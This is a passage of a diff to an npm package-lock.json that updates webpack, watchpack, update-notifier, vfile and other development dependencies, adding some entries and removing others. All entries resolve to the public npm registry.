"resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
- "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw="
+ "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=",
+ "dev": true
},
"unset-value": {
"version": "1.0.0",
@@ -17405,6 +22253,12 @@
}
}
},
+ "untildify": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz",
+ "integrity": "sha512-KK8xQ1mkzZeg9inewmFVDNkg3l5LUhoq9kN6iWYB/CC9YMG8HA+c1Q8HwDe6dEX7kErrEVNVBO3fWsVq5iDgtw==",
+ "dev": true
+ },
"upath": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
@@ -17412,9 +22266,10 @@
"dev": true
},
"update-notifier": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.1.tgz",
- "integrity": "sha512-9y+Kds0+LoLG6yN802wVXoIfxYEwh3FlZwzMwpCZp62S2i1/Jzeqb9Eeeju3NSHccGGasfGlK5/vEHbAifYRDg==",
+ "version": "4.1.3",
+ "resolved": "https://registry.npmjs.org/update-notifier/-/update-notifier-4.1.3.tgz",
+ "integrity": "sha512-Yld6Z0RyCYGB6ckIjffGOSOmHXj1gMeE7aROz4MG+XMkmixBX4jUngrGXNYz7wPKBmtoD4MnBa2Anu7RSKht/A==",
+ "dev": true,
"requires": {
"boxen": "^4.2.0",
"chalk": "^3.0.0",
@@ -17432,11 +22287,11 @@
},
"dependencies": {
"ansi-styles": {
- "version": "4.2.1",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
- "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+ "dev": true,
"requires": {
- "@types/color-name": "^1.1.1",
"color-convert": "^2.0.1"
}
},
@@ -17444,6 +22299,7 @@
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
"integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+ "dev": true,
"requires": {
"ansi-styles": "^4.1.0",
"supports-color": "^7.1.0"
@@ -17453,6 +22309,7 @@
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
"integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
"requires": {
"color-name": "~1.1.4"
}
@@ -17460,22 +22317,20 @@
"color-name": {
"version": "1.1.4",
"resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
- "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
},
"has-flag": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
- "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
- },
- "import-lazy": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz",
- "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM="
+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+ "dev": true
},
"supports-color": {
"version": "7.2.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
"integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
"requires": {
"has-flag": "^4.0.0"
}
@@ -17558,6 +22413,7 @@
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz",
"integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=",
+ "dev": true,
"requires": {
"prepend-http": "^2.0.0"
}
@@ -17568,6 +22424,12 @@
"integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==",
"dev": true
},
+ "utf8": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/utf8/-/utf8-3.0.0.tgz",
+ "integrity": "sha512-E8VjFIQ/TyQgp+TZfS6l8yp/xWppSAHzidGiRrqe4bK4XP9pTRyKFgGJpO3SN7zdX4DeomTrwaseCHovfpFcqQ==",
+ "dev": true
+ },
"util": {
"version": "0.11.1",
"resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz",
@@ -17588,7 +22450,8 @@
"util-deprecate": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
- "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
+ "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=",
+ "dev": true
},
"util.promisify": {
"version": "1.0.0",
@@ -17615,7 +22478,8 @@
"uuid": {
"version": "3.4.0",
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz",
- "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A=="
+ "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==",
+ "dev": true
},
"v8-compile-cache": {
"version": "2.1.0",
@@ -17656,32 +22520,25 @@
}
},
"vfile": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.1.0.tgz",
- "integrity": "sha512-BaTPalregj++64xbGK6uIlsurN3BCRNM/P2Pg8HezlGzKd1O9PrwIac6bd9Pdx2uTb0QHoioZ+rXKolbVXEgJg==",
+ "version": "4.2.1",
+ "resolved": "https://registry.npmjs.org/vfile/-/vfile-4.2.1.tgz",
+ "integrity": "sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==",
"dev": true,
"requires": {
"@types/unist": "^2.0.0",
"is-buffer": "^2.0.0",
- "replace-ext": "1.0.0",
"unist-util-stringify-position": "^2.0.0",
"vfile-message": "^2.0.0"
},
"dependencies": {
"is-buffer": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.4.tgz",
- "integrity": "sha512-Kq1rokWXOPXWuaMAqZiJW4XxsmD9zGx9q4aePabbn3qCRGedtH7Cm+zV8WETitMfu1wdh+Rvd6w5egwSngUX2A==",
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz",
+ "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==",
"dev": true
}
}
},
- "vfile-location": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-3.0.1.tgz",
- "integrity": "sha512-yYBO06eeN/Ki6Kh1QAkgzYpWT1d3Qln+ZCtSbJqFExPl1S3y2qqotJQXoh6qEvl/jDlgpUJolBn3PItVnnZRqQ==",
- "dev": true
- },
"vfile-message": {
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-2.0.4.tgz",
@@ -17739,9 +22596,10 @@
"dev": true
},
"vscode-languageserver-types": {
- "version": "3.15.1",
- "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.15.1.tgz",
- "integrity": "sha512-+a9MPUQrNGRrGU630OGbYVQ+11iOIovjCkqxajPa9w57Sd5ruK8WQNsslzpa0x/QJqC8kRc2DUxWjIFwoNm4ZQ=="
+ "version": "3.16.0",
+ "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.16.0.tgz",
+ "integrity": "sha512-k8luDIWJWyenLc5ToFQQMaSrqCHiLwyKPHKPQZ5zz21vM+vIVUSvsRpcbiECH4WR88K2XZqc4ScRcZ7nk/jbeA==",
+ "dev": true
},
"warning": {
"version": "4.0.3",
@@ -17752,14 +22610,136 @@
}
},
"watchpack": {
- "version": "1.6.1",
- "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.6.1.tgz",
- "integrity": "sha512-+IF9hfUFOrYOOaKyfaI7h7dquUIOgyEMoQMLA7OP5FxegKA2+XdXThAZ9TU2kucfhDH7rfMHs1oPYziVGWRnZA==",
+ "version": "1.7.5",
+ "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-1.7.5.tgz",
+ "integrity": "sha512-9P3MWk6SrKjHsGkLT2KHXdQ/9SNkyoJbabxnKOoJepsvJjJG8uYTR3yTPxPQvNDI3w4Nz1xnE0TLHK4RIVe/MQ==",
"dev": true,
"requires": {
- "chokidar": "^2.1.8",
+ "chokidar": "^3.4.1",
"graceful-fs": "^4.1.2",
- "neo-async": "^2.5.0"
+ "neo-async": "^2.5.0",
+ "watchpack-chokidar2": "^2.0.1"
+ },
+ "dependencies": {
+ "anymatch": {
+ "version": "3.1.2",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz",
+ "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ }
+ },
+ "binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true,
+ "optional": true
+ },
+ "braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "fill-range": "^7.0.1"
+ }
+ },
+ "chokidar": {
+ "version": "3.5.1",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.1.tgz",
+ "integrity": "sha512-9+s+Od+W0VJJzawDma/gvBNQqkTiqYTWLuZoyAsivsI4AaWTCzHG06/TMjsf1cYe9Cb97UCEhjz7HvnPk2p/tw==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "anymatch": "~3.1.1",
+ "braces": "~3.0.2",
+ "fsevents": "~2.3.1",
+ "glob-parent": "~5.1.0",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.5.0"
+ }
+ },
+ "fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "to-regex-range": "^5.0.1"
+ }
+ },
+ "fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "dev": true,
+ "optional": true
+ },
+ "glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "is-glob": "^4.0.1"
+ }
+ },
+ "is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "binary-extensions": "^2.0.0"
+ }
+ },
+ "is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true,
+ "optional": true
+ },
+ "readdirp": {
+ "version": "3.5.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz",
+ "integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "picomatch": "^2.2.1"
+ }
+ },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "is-number": "^7.0.0"
+ }
+ }
+ }
+ },
+ "watchpack-chokidar2": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/watchpack-chokidar2/-/watchpack-chokidar2-2.0.1.tgz",
+ "integrity": "sha512-nCFfBIPKr5Sh61s4LPpy1Wtfi0HE8isJ3d2Yb5/Ppw2P2B/3eVSEBjKfN0fmHJSK14+31KwMKmcrzs2GM4P0Ww==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "chokidar": "^2.1.8"
}
},
"wbuf": {
@@ -17771,10 +22751,19 @@
"minimalistic-assert": "^1.0.0"
}
},
+ "wcwidth": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/wcwidth/-/wcwidth-1.0.1.tgz",
+ "integrity": "sha1-8LDc+RW8X/FSivrbLA4XtTLaL+g=",
+ "dev": true,
+ "requires": {
+ "defaults": "^1.0.3"
+ }
+ },
"webpack": {
- "version": "4.43.0",
- "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.43.0.tgz",
- "integrity": "sha512-GW1LjnPipFW2Y78OOab8NJlCflB7EFskMih2AHdvjbpKMeDJqEgSx24cXXXiPS65+WSwVyxtDsJH6jGX2czy+g==",
+ "version": "4.46.0",
+ "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.46.0.tgz",
+ "integrity": "sha512-6jJuJjg8znb/xRItk7bkT0+Q7AHCYjjFnvKIWQPkNIOyRqoCGvkOs0ipeQzrqz4l5FtN5ZI/ukEHroeX/o1/5Q==",
"dev": true,
"requires": {
"@webassemblyjs/ast": "1.9.0",
@@ -17785,7 +22774,7 @@
"ajv": "^6.10.2",
"ajv-keywords": "^3.4.1",
"chrome-trace-event": "^1.0.2",
- "enhanced-resolve": "^4.1.0",
+ "enhanced-resolve": "^4.5.0",
"eslint-scope": "^4.0.3",
"json-parse-better-errors": "^1.0.2",
"loader-runner": "^2.4.0",
@@ -17798,14 +22787,14 @@
"schema-utils": "^1.0.0",
"tapable": "^1.1.3",
"terser-webpack-plugin": "^1.4.3",
- "watchpack": "^1.6.1",
+ "watchpack": "^1.7.4",
"webpack-sources": "^1.4.1"
},
"dependencies": {
"acorn": {
- "version": "6.4.1",
- "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz",
- "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==",
+ "version": "6.4.2",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.2.tgz",
+ "integrity": "sha512-XtGIhXwF8YM8bJhGxG5kXgjkEuNGLTkoYqVE+KMR+aspr4KGYmKYg7yUe3KghyQ9yheNwLnjmzh/7+gfDBmHCQ==",
"dev": true
},
"eslint-scope": {
@@ -17832,30 +22821,24 @@
}
},
"webpack-cli": {
- "version": "3.3.11",
- "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.3.11.tgz",
- "integrity": "sha512-dXlfuml7xvAFwYUPsrtQAA9e4DOe58gnzSxhgrO/ZM/gyXTBowrsYeubyN4mqGhYdpXMFNyQ6emjJS9M7OBd4g==",
+ "version": "3.3.12",
+ "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-3.3.12.tgz",
+ "integrity": "sha512-NVWBaz9k839ZH/sinurM+HcDvJOTXwSjYp1ku+5XKeOC03z8v5QitnK/x+lAxGXFyhdayoIf/GOpv85z3/xPag==",
"dev": true,
"requires": {
- "chalk": "2.4.2",
- "cross-spawn": "6.0.5",
- "enhanced-resolve": "4.1.0",
- "findup-sync": "3.0.0",
- "global-modules": "2.0.0",
- "import-local": "2.0.0",
- "interpret": "1.2.0",
- "loader-utils": "1.2.3",
- "supports-color": "6.1.0",
- "v8-compile-cache": "2.0.3",
- "yargs": "13.2.4"
+ "chalk": "^2.4.2",
+ "cross-spawn": "^6.0.5",
+ "enhanced-resolve": "^4.1.1",
+ "findup-sync": "^3.0.0",
+ "global-modules": "^2.0.0",
+ "import-local": "^2.0.0",
+ "interpret": "^1.4.0",
+ "loader-utils": "^1.4.0",
+ "supports-color": "^6.1.0",
+ "v8-compile-cache": "^2.1.1",
+ "yargs": "^13.3.2"
},
"dependencies": {
- "ansi-regex": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
- "dev": true
- },
"cross-spawn": {
"version": "6.0.5",
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz",
@@ -17869,69 +22852,6 @@
"which": "^1.2.9"
}
},
- "emojis-list": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz",
- "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=",
- "dev": true
- },
- "enhanced-resolve": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.1.0.tgz",
- "integrity": "sha512-F/7vkyTtyc/llOIn8oWclcB25KdRaiPBpZYDgJHgh/UHtpgT2p2eldQgtQnLtUvfMKPKxbRaQM/hHkvLHt1Vng==",
- "dev": true,
- "requires": {
- "graceful-fs": "^4.1.2",
- "memory-fs": "^0.4.0",
- "tapable": "^1.0.0"
- }
- },
- "find-up": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
- "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
- "dev": true,
- "requires": {
- "locate-path": "^3.0.0"
- }
- },
- "is-fullwidth-code-point": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
- "dev": true
- },
- "loader-utils": {
- "version": "1.2.3",
- "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
- "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
- "dev": true,
- "requires": {
- "big.js": "^5.2.2",
- "emojis-list": "^2.0.0",
- "json5": "^1.0.1"
- }
- },
- "string-width": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
- "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
- "dev": true,
- "requires": {
- "emoji-regex": "^7.0.1",
- "is-fullwidth-code-point": "^2.0.0",
- "strip-ansi": "^5.1.0"
- }
- },
- "strip-ansi": {
- "version": "5.2.0",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
- "dev": true,
- "requires": {
- "ansi-regex": "^4.1.0"
- }
- },
"supports-color": {
"version": "6.1.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
@@ -17942,29 +22862,10 @@
}
},
"v8-compile-cache": {
- "version": "2.0.3",
- "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.0.3.tgz",
- "integrity": "sha512-CNmdbwQMBjwr9Gsmohvm0pbL954tJrNzf6gWL3K+QMQf00PF7ERGrEiLgjuU3mKreLC2MeGhUsNV9ybTbLgd3w==",
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz",
+ "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==",
"dev": true
- },
- "yargs": {
- "version": "13.2.4",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.2.4.tgz",
- "integrity": "sha512-HG/DWAJa1PAnHT9JAhNa8AbAv3FPaiLzioSjCcmuXXhP8MlpHO5vwls4g4j6n30Z74GVQj8Xa62dWVx1QCGklg==",
- "dev": true,
- "requires": {
- "cliui": "^5.0.0",
- "find-up": "^3.0.0",
- "get-caller-file": "^2.0.1",
- "os-locale": "^3.1.0",
- "require-directory": "^2.1.1",
- "require-main-filename": "^2.0.0",
- "set-blocking": "^2.0.0",
- "string-width": "^3.0.0",
- "which-module": "^2.0.0",
- "y18n": "^4.0.0",
- "yargs-parser": "^13.1.0"
- }
}
}
},
@@ -18113,14 +23014,33 @@
"resolved": "https://registry.npmjs.org/whatwg-fetch/-/whatwg-fetch-3.0.0.tgz",
"integrity": "sha512-9GSJUgz1D4MfyKU7KRqwOjXCXTqWdFNvEr7eUBYchQiVc744mqK/MzXPNR2WsPkmkOa4ywfg8C2n8h+13Bey1Q=="
},
+ "whatwg-mimetype": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz",
+ "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g=="
+ },
"which": {
"version": "1.3.1",
"resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
"integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+ "dev": true,
"requires": {
"isexe": "^2.0.0"
}
},
+ "which-boxed-primitive": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz",
+ "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==",
+ "dev": true,
+ "requires": {
+ "is-bigint": "^1.0.1",
+ "is-boolean-object": "^1.1.0",
+ "is-number-object": "^1.0.4",
+ "is-string": "^1.0.5",
+ "is-symbol": "^1.0.3"
+ }
+ },
"which-module": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz",
@@ -18140,6 +23060,7 @@
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/widest-line/-/widest-line-3.1.0.tgz",
"integrity": "sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==",
+ "dev": true,
"requires": {
"string-width": "^4.0.0"
},
@@ -18147,22 +23068,26 @@
"ansi-regex": {
"version": "5.0.0",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
- "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg=="
+ "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==",
+ "dev": true
},
"emoji-regex": {
"version": "8.0.0",
"resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
- "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
+ "dev": true
},
"is-fullwidth-code-point": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
- "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+ "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==",
+ "dev": true
},
"string-width": {
- "version": "4.2.0",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz",
- "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==",
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz",
+ "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==",
+ "dev": true,
"requires": {
"emoji-regex": "^8.0.0",
"is-fullwidth-code-point": "^3.0.0",
@@ -18173,21 +23098,18 @@
"version": "6.0.0",
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz",
"integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==",
+ "dev": true,
"requires": {
"ansi-regex": "^5.0.0"
}
}
}
},
- "window-size": {
- "version": "0.1.4",
- "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.4.tgz",
- "integrity": "sha1-+OGqHuWlPsW/FR/6CXQqatdpeHY="
- },
"windows-release": {
"version": "3.3.3",
"resolved": "https://registry.npmjs.org/windows-release/-/windows-release-3.3.3.tgz",
"integrity": "sha512-OSOGH1QYiW5yVor9TtmXKQvt2vjQqbYS+DqmsZw+r7xDwLXEeT3JGW0ZppFmHx4diyXmxt238KFR3N9jzevBRg==",
+ "dev": true,
"requires": {
"execa": "^1.0.0"
}
